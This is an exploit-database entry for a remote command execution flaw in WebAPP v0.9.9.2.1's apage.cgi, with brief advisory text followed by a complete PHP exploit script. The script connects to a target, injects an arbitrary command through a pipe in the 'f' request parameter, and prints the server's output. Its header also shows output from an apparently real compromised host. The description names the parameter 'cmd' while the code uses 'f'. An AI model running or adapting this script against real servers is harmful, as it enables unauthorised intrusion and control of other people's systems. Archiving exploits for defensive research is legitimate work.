WebAPP v0.9.9.2.1 Remote Command Execution Exploit

vendor:

WebAPP

by:

Nikyt0x

9,3

CVSS

HIGH

Remote Command Execution

CWE

Product Name: WebAPP

Affected Version From: 0.9.9.2.1

Affected Version To: 0.9.9.2.1

Patch Exists: YES

Related CWE: N/A

CPE: a:webapp:webapp:0.9.9.2.1

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Linux

2004

WebAPP v0.9.9.2.1 Remote Command Execution Exploit

This exploit allows an attacker to execute arbitrary commands on a vulnerable WebAPP v0.9.9.2.1 installation. The vulnerability exists due to insufficient sanitization of user-supplied input to the 'cmd' parameter in the 'apage.cgi' script. An attacker can exploit this vulnerability by sending a specially crafted HTTP request containing malicious commands to the vulnerable server. Successful exploitation of this vulnerability can result in arbitrary code execution on the vulnerable server.

Mitigation:

The vendor has released a patch to address this vulnerability. It is recommended to apply the patch as soon as possible.

Source

Exploit-DB raw data:

<?php

########################################################
#                                                      #
#  WebAPP v0.9.9.2.1 Remote Command Execution Exploit  #
#                 [Code by Nikyt0x]                    #
#                 nikyt0x@gmail.com                    #
#                                                      #
#    Advisory: www.defacers.com.mx/advisories/3.txt    #                                               #
#                                                      #
#    Saludos:                                          #
#                                                      #
#    Soulblack Staff, Status-x, NeosecurityTeam,       #
#    KingMetal, Trespasser...                          #
#                                                      #
########################################################
#                                                      #
# sbwebapp.php www.host.com /dirto/apage.cgi "command" #
#                                                      #
# Linux dprhensim19.doteasy.com 2.4.22-1.2199.nptl     #
# #1 Wed Aug 4 12:21:48 EDT 2004 i686 i686 i386        #
# GNU/Linux                                            #
# uid=557(scapip) gid=558(scapip) groups=558(scapip)   #
#                                                      #
#                                                      #
#                                                      #
########################################################


if ($argc != 4) {

   echo "\n              =====================================\n";
   echo "               WebAPP v0.9.9.2.1 apage.cgi Exploit\n";
   echo "              =====================================\n";
   echo "                    Nikyt0x - SoulBlack Team\n\n";
   echo "\nUsage:\n\n";
   echo " $argv[0] www.host.com /apagedir/apage.cgi \"command\"\n";
   exit(0);
   }

if(!ereg('apage.cgi',$argv[2])) {
   echo "URL to apage.cgi Incorrect.";
   exit(0);
   }

   echo "\n              =====================================\n";
   echo "               WebAPP v0.9.9.2.1 apage.cgi Exploit\n";
   echo "              =====================================\n";
   echo "                    Nikyt0x - SoulBlack Team\n\n";




$s0ck3t = fsockopen($argv[1], 80);
if (!$s0ck3t) {
   echo "[-] Socket\n";
   exit(0);
   
} else {
   $ex3cutar = str_replace(" ", "%20", $argv[3]);
   $petici0n = "GET $argv[2]?f=expofranquicias.htm|echo%20c0mand0s;$ex3cutar;echo%20final1zar| HTTP/1.1\r\n";
   $petici0n .= "Host: $argv[1]\r\n";
   $petici0n .= "Connection: Close\r\n\r\n";
   
   echo "[+] Socket\n";
   
   if(!fwrite($s0ck3t, $petici0n))
   {
   echo "[-] Sending Exploit\n";
   exit(0);
   }
   echo "[+] Sending Exploit\n";
   while (!feof($s0ck3t)) {
       $g3tdata = fgets($s0ck3t, 1024);
	   if (eregi('c0mand0s',$g3tdata))
	   {
	   $aceptar = 1;
	   }
	   if (eregi('final1zar',$g3tdata))
	   {
	   $aceptar = 0;
	   }
	   while ($aceptar == 1)
	   {
	  	   if(eregi('c0mand0s',$g3tdata))
		   {
		    $g3tdata = str_replace('c0mand0s','', $g3tdata);
		   echo "[+] Command:\n";
		   }
		   $g3tdata = str_replace('c0mand0s','', $g3tdata);
		   echo $g3tdata;
		   break;
	   }
	   
   }
   fclose($s0ck3t);
}
?> 

# milw0rm.com [2005-05-20]